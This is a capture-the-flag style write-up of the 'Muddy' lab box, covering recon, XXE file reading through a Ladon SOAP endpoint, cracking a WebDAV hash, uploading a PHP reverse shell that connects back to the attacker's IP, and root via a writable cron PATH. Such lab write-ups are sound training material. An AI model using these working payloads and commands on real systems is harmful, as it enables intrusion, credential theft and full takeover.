

report

Muddy - Proving Grounds Box

Recon

I ran `nmap -sS -sV $TARGET`.

```
(kali@kali)-[~]
└─$ export TARGET=192.168.52.161
tun0:Down | TARGET:- | 03-02-26 2:38:54

(kali@kali)-[~]
└─$ ping $TARGET
tun0:Down | TARGET:192.168.52.161 | 03-02-26 2:39:01
PING 192.168.52.161 (192.168.52.161) 56(84) bytes of data:
64 bytes from 192.168.52.161: icmp_seq=1 ttl=63 time=0.517 ms
^C
--- 192.168.52.161 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.517/0.517/0.517/0.000 ms

(kali@kali)-[~]
└─$ nmap -sS -sV $TARGET
tun0:Down | TARGET:192.168.52.161 | 03-02-26 2:39:05
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-02 02:39 +0000
Nmap scan report for 192.168.52.161
Host is up (0.00050s latency).
Not shown: 993 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp    open  smtp           Exim smtpd
80/tcp    open  http           Apache httpd 2.4.38 ((Debian))
111/tcp   open  rpcbind        2-4 (RPC #100000)
443/tcp   open  https?
808/tcp   open  ccproxy-http?
8888/tcp   open  http           WSGIServer 0.1 (Python 2.7.16)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.02 seconds

(kali@kali)-[~]
└─$ sudo nano /etc/hosts
tun0:Down | TARGET:192.168.52.161 | 03-02-26 2:39:26

(kali@kali)-[~]
└─$
tun0:Down | TARGET:192.168.52.161 | 03-02-26 2:41:33
```

I added the IP to `/etc/hosts` for the host `muddy.ugc`. I notice a "Ladon" server is hosted on port 8888.

The screenshot shows a web browser window with the URL `http://muddy.ugc:8888/muddy/`. The page displays a service description for 'muddy' with the following details:

- Service Description:** None
- Available Interfaces:**
 - xmlrpc [[url description](#)]
 - jsonrpc10 [[url description](#)]
 - jsonwsp [[url description](#)]
 - soapdocumentliteral [[url description](#)]
 - soap11 [[url description](#)]
 - soap [[url description](#)]
- Methods:**
 - checkout** (string uid)
 - None
 - Parameters:**
 - uid: string
 - None
 - Returns:** string
 - None
- Types:**

Overlaid on the browser is a terminal window showing Nmap scan results for `192.168.52.161`. The scan identifies several open ports: `443/tcp` (https?), `808/tcp` (ccproxy-http?), and `8888/tcp` (http). The service on port 8888 is identified as `WSGIServer 0.1 (Python 2.7.16)`. The terminal also shows the user running `sudo nano /etc/hosts` and checking the status of the `tun0` interface.

Powered by Ladon for Python

There are some endpoints accepting POST: `xmlrpc`, `jsonrpc10`, `jsonwsp`, etc. Let me do some research on it. Looks like we need to pop an XXE vulnerability.

I also noticed that `gobuster` shows me that WebDAV is enabled. I will likely need to login later with stolen credentials.

The screenshot shows a terminal window running `gobuster` in directory enumeration mode. The command used is `gobuster dir -u $TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`. The output shows the following details:

```
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.56.161
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

wp-content (Status: 301) [Size: 321] [→ http://192.168.56.161/wp-content/]
wp-includes (Status: 301) [Size: 322] [→ http://192.168.56.161/wp-includes/]
javascript (Status: 301) [Size: 321] [→ http://192.168.56.161/javascript/]
wp-admin (Status: 301) [Size: 319] [→ http://192.168.56.161/wp-admin/]
webdav (Status: 401) [Size: 461]
Progress: 87662 / 87662 (100.00%)

Finished
```

The terminal also shows the user running `gobuster` and the status of the `tun0` interface.

I searched `exploit-db.com` for Ladon XXE vulnerabilities. Apparently all we need for LFI is a `curl` command with the right payload.

Exploit

XML XXE Local File Inclusion

I was able to trigger XML LFI with an HTTP POST:

```
(kali@kali)-[~/Downloads]
└─$ curl -s -X $'POST' \
      tun0:Down | TARGET:192.168.56.161 | 03-02-26 19:35:46
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY stolen SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:urn="urn:HelloService"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<uid xsi:type="xsd:string">&stolen;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
```

```
'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="urn:muddy" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <ns:checkoutResponse>
      <result>Serial number: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
nbin:x:2:2:bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/sync
cgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp
:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/new
s:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/n
ologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nol
oginlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/
nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:655
34:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x
:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd N
etwork Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/syst
emd:/usr/sbin/nologinmessagebus:x:104:110::/nonexistent:/usr/sbin/nologinsshd:x:105:65534::/run/sshd:/usr/
sbin/nologinsystemd-coredump:x:999:999:systemd Core Dumper:/usr/sbin/nologinmysql:x:106:112:MySQL Server
,,,:/nonexistent:/bin/falseian:x:1000:1000::/home/ian:/bin/shDebian-exim:x:107:114::/var/spool/exim4:/usr/
sbin/nologin_rpc:x:108:65534::/run/rpcbind:/usr/sbin/nologinstdatd:x:109:65534::/var/lib/nfs:/usr/sbin/nolo
gin</result>
    </ns:checkoutResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

(kali@kali)-[~/Downloads]
└─$
```

The next step is to use this to steal WebDAV credentials so we can upload a webshell.

I then obtained the `passwd.dav` file by targeting `/var/www/html/webdav/passwd.dav` :

```
(kali@kali)-[~/Downloads]
└─$ curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY stolen SYSTEM "file:///var/www/html/webdav/passwd.dav">
]>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:urn="urn:HelloService"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<uid xsi:type="xsd:string">6stolen;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -
```

```
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="urn:muddy" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <ns:checkoutResponse>
      <result>Serial number: administrant:$apr1$GUG10nCu$uiSLaAqojCm14lPMwISDi0</result>
    </ns:checkoutResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

(kali@kali)-[~/Downloads]
└─$
```

Cracking WebDAV Credentials

I first need to crack the hashed password for the user `administrant`.

```
[henrypost@kali-toughwolf] ~/Git/oscp/boxes/provinggrounds/Muddy 03/02/26 1:52PM
└─$ hashcat -m 1600 '$apr1$GUG10nCu$uiSLaAqojCm14lPMwISDi0' /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEP, D)
* Device #01: cpu-haswell-Intel(R) Core(TM) i7-8665U CPU @ 1.90GHz, 30984/61969 MB (8192 MB allocated)
```

Shortly after that, we get `sleepless` as the password:

```
Started: Mon Mar 2 13:52:56 2026
Stopped: Mon Mar 2 13:53:39 2026
[henrypost@kali-toughwolf] ~/Git/oscp/boxes/provinggrounds/Muddy 03/02/26 1:53PM
└─$ hashcat -m 1600 '$apr1$GUG10nCu$uiSLaAqojCm14lPMwISDi0' /usr/share/wordlists/rockyou.txt --show
$apr1$GUG10nCu$uiSLaAqojCm14lPMwISDi0:sleepless
[henrypost@kali-toughwolf] ~/Git/oscp/boxes/provinggrounds/Muddy 03/02/26 1:53PM
└─$
```

The cred is `administrant:sleepless`.

Using WebDAV Credentials and uploading a PHP web shell

I prepared a PHP web shell to upload, and started a `nc` listener.

```
kali@kali: ~/Downloads
Terminal Emulator
Use the command line Help
GNU nano 0.7 php-reverse-shell.php
//
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Wi
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely availabl
//
// Usage
//
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
//copied from /usr/share/webshells/php/php-reverse-shell.php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.49.56'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
[ Wrote 192 lines ]
^G Help      ^O Write Out  ^F Where Is   ^K Cut        ^T Execute    ^C Location   M-U Undo
^X Exit      ^R Read File  ^\ Replace    ^U Paste      ^J Justify    ^_ Go To Line  M-E Redo
```

```
(kali@kali)-[~/Downloads]
└─$ nc -nvlp 4444 tun0:Down | TARGET:192.168.56.161 | 03-02-26 21:07:00
listening on [any] 4444 ...
```

I then uploaded the reverse shell payload:

```
(kali@kali)-[~/Downloads]
└─$ curl -u administrant:sleepless -T php-reverse-shell.php http://muddy.ugc/webdav/shell.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>201 Created</title>
</head><body>
<h1>Created</h1>
<p>Resource /webdav/shell.php has been created.</p>
<hr />
<address>Apache/2.4.38 (Debian) Server at muddy.ugc Port 80</address>
</body></html>
(kali@kali)-[~/Downloads]
└─$ tun0:Down | TARGET:- | 03-02-26 21:10:21
```

And then I caused the victim PHP runtime to execute our code:

```
(kali@kali)-[~/Downloads]
└─$ curl -u administrant:sleepless http://muddy.ugc/webdav/shell.php
```

Resulting in a functioning reverse shell running in the php user context, www-data :

```

(kali@kali)-[~/Downloads]
└─$ nc -nvlp 4444                                tun0:Down | TARGET:192.168.56.161 | 03-02-26 21:07:00
listening on [any] 4444 ...
connect to [192.168.49.56] from (UNKNOWN) [192.168.56.161] 55378
Linux muddy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
16:11:46 up 2:03, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ █

```

I stabilized my shell with python3 :

```

$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@muddy:/$ ^Z
zsh: suspended nc -nvlp 4444

(kali@kali)-[~/Downloads]
└─$ fg                                           tun0:Down | TARGET:192.168.56.161 | 03-02-26 21:14:05
[1] + continued nc -nvlp 4444
ls
ls
bin  home      lib32      media  root  sys  vmlinuz
boot initrd.img lib64      mnt    run  tmp  vmlinuz.old
dev  initrd.img.old libx32     opt   /sbin/usr
etc  lib        lost+found proc    srv  var
www-data@muddy:/$ █

```

Pivoting: Cron Job Exploitation

```

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .----- minute (0 - 59)
# | .----- hour (0 - 23)
# | | .----- day of month (1 - 31)
# | | | .----- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .----- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root netstat -tlnp > /root/status && service apache2 status >> /root/status && service
mysql status >> /root/status

#
www-data@muddy:/$ █

```

/dev/shm is writeable by us.

Because the command netstat gets run every 1 minute by root user, we can use this to get a root shell on our victim.

We just need to create an executable named `netstat` within the `/dev/shm` folder to achieve root access.

```
www-data@muddy:/$ cd /dev/shm
cd /dev/shm
www-data@muddy:/dev/shm$ echo "chmod +s /bin/bash">netstat
echo "chmod +s /bin/bash">netstat
www-data@muddy:/dev/shm$ chmod 777 netstat
chmod 777 netstat
www-data@muddy:/dev/shm$ sleep 1m
sleep 1m
www-data@muddy:/dev/shm$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
www-data@muddy:/dev/shm$ date
date
Mon Mar 2 16:35:42 EST 2026
www-data@muddy:/dev/shm$
```

The `s` bit is set on the file `/bin/bash`, meaning we can use `/bin/bash -p` to get a root shell. `p` means "Preserve effective UID", which is `root` in this case.

```
www-data@muddy:/dev/shm$ /bin/bash -p
/bin/bash -p
bash-5.0# whoami
whoami
root
bash-5.0# date
date
Mon Mar 2 16:37:17 EST 2026
bash-5.0#
```

And, we have root access and flag.

```
bash-5.0# cd /root
cd /root
bash-5.0# ls
ls
proof.txt  status
bash-5.0# cat proof.txt
cat proof.txt
396ab21baec700da3307e0850607a2f2
bash-5.0# date
date
Mon Mar 2 16:38:11 EST 2026
bash-5.0#
```

Guidance

Do not parse XML External Entities.

Do not expose unnecessary XML parsing services over the network.

Consider disabling WebDAV and SOAP XML APIs unless necessary, or putting them behind a firewall.